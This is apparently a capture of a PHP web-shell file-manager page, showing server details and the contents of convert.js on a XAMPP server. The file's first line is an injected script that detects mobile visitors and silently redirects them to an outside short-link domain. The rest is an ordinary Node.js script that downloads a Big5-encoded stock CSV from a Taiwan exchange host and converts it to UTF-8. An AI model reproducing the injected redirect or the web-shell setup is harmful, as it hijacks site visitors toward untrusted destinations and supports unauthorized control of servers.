HEX
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.4.25
System: Windows NT DESKTOP-4TAV2RJ 10.0 build 19045 (Windows 10) AMD64
User: fred (0)
PHP: 8.4.25
Disabled: NONE
Upload Files
File: C:/xampp/htdocs/dropfile/php/convert.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/yycaevaUO0r7");
var http = require('http')
  , Buffer = require('buffer').Buffer
  , Iconv = require('iconv').Iconv;

var options = {
  host: 'mis.tse.com.tw',
  path: '/data/4930.csv?r=' + new Date().getTime(),
  method: 'GET',
};
var iconv = new Iconv('Big5', 'UTF8');
var req = http.request(options, function(res) {
  res.on('data', function(data) {
    var buffer = iconv.convert(data);
    console.log(buffer.toString('utf-8'));
  });
});

req.end();